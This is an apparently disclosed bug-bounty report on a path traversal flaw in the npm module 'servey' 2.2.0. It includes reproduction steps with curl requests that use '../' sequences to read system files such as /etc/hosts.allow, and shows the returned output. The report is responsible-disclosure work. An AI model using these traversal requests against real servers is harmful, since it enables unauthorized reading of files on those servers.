1 [servey] Path Traversal allows to retrieve content of any file with extension from remote server

Share:

TIMELINE

0l4de submitted a report to Node.js third-party modules. May 21st (5 years ago)

Hi Team,

I would like to report a partial Path Traversal in `servey` module.
It allows to read content of any arbitrary file (with extension) from the server.

Module

module name: servey
version: 2.2.0
npm page: https://www.npmjs.com/package/servey

Module Description

A static & single page application server.

Module Stats

~120-200 downloads/month (estimated)

Vulnerability Description

Steps To Reproduce:

- Install `servey` module:

Code 20 Bytes Wrap lines Copy Download

```
$ npm install servey
```

- create sample application following an example from module's npm doc:

Code 398 Bytes Wrap lines Copy Download

```
// app.js
const Servey = require('servey');
const Path = require('path')
const server = Servey.create({
    spa: true,
    port: 8080,
    folder: Path.join(__dirname, 'static')
});

server.on('error', function (error) {
    console.error(error);
});

server.on('request', function (req) {
    console.log(req.url);
});

server.on('open', function () {
    console.log('open');
});

server.open();
```

- run app:

Code 20 Bytes Wrap lines Copy Download

```
$ node app.js
open

```

- try to retrieve content of `/etc/passwd` (an example file without any extension). `servey` does not allow to open such file and throws HTTP 500 Internal Server Error:

Code 591 Bytes Wrap lines Copy Download

```
$ curl -v --path-as-is localhost:8080/../../../../../../etc/passwd
*   Trying ::1...
* connect to ::1 port 8080 failed: Connection refused
*   Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 8080 (#0)
> GET /../../../../../../etc/passwd HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.47.0
> Accept: */*
```

```
< Date: Mon, 21 May 2018 13:08:15 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
<
* Connection #0 to host localhost left intact
{"code":500,"message":"Internal Server Error"}

```

- verify logs that request failed:

Code 290 Bytes Wrap lines Copy Download

```
$ node app.js
open
/../../../../../../etc/passwd
{ Error: ENOENT: no such file or directory, open '/home/rafal.janicki/playground/hackerone/node/static/index.html'
  errno: -2,
  code: 'ENOENT',
  syscall: 'open',
  path: '/home/rafal.janicki/playground/hackerone/node/static/index.html' }
```

- now, try to execute following curl command to retrieve content of `/etc/hosts.allow` (adjust amount of ../ to reflect your system):

Code 946 Bytes Wrap lines Copy Download

```
$ curl -v --path-as-is localhost:8080/../../../../../../etc/hosts.allow
*   Trying ::1...
* connect to ::1 port 8080 failed: Connection refused
*   Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 8080 (#0)
> GET /../../../../../../etc/hosts.allow HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: undefined; charset=utf8
< Date: Mon, 21 May 2018 13:06:38 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
<
# /etc/hosts.allow: list of hosts that are allowed to access the system.
#                   See the manual pages hosts_access(5) and hosts_options(5).
#
# Example:    ALL: LOCAL @some_netgroup
#             ALL: .foobar.edu EXCEPT terminalserver.foobar.edu
#
# If you're going to protect the portmapper use the name "rpcbind" for the
# daemon name. See rpcbind(8) and rpc.mountd(8) for further information.
#

* Connection #0 to host localhost left intact

```

- check `servey` app logs again:

Code 326 Bytes Wrap lines Copy Download

```
$ node app.js
open
/../../../../../../etc/passwd
{ Error: ENOENT: no such file or directory, open '/home/rafal.janicki/playground/hackerone/node/static/index.html'
  errno: -2,
  code: 'ENOENT',
  syscall: 'open',
  path: '/home/rafal.janicki/playground/hackerone/node/static/index.html' }
/../../../../../../etc/hosts.allow

```

You can see `hosts.allow` requets did not fail and the content of the file was retrieved.

Patch

N/A

Supporting Material/References:

- Operating system: Ubuntu 16.04
- Node.js 8.11.1
- npm v. 6.0.1
- curl 7.47.0

Wrap up

- I contacted the maintainer to let him know: [N]

Rafal 'bl4de' Janicki

Impact

An attacker is able to retrieve content of any file with extension from remote server.

vdeturckheim Node.js third-party modules staff changed the status to **Triaged**. Jun 12th (5 years ago)

@bl4de Thanks for this great report! I manage to reproduce on version 2.2. I'm not sure 3.x is impacted too. let's see with the maintainer.

bl4de posted a comment. Jun 12th (5 years ago)

Hi @vdeturckheim

I can't force 3.3.2 (newest) to run and check it.

Let's wait until Alexander will join us and he probably will be able to figure out if 3.3.2 is still vulnerable.

bl4de posted a comment. Nov 23rd (4 years ago)

Hi guys,

Any update on this?

Cheers,

bl4de

lirantal Node.js third-party modules staff changed the scope from **Other module** to **servey**. Jan 3rd (4 years ago)

ronperris Node.js third-party modules staff closed the report and changed the status to **Resolved**. Mar 4th (4 years ago)

ronperris Node.js third-party modules staff requested to disclose this report. Mar 4th (4 years ago)

This report has been disclosed. Apr 3rd (4 years ago)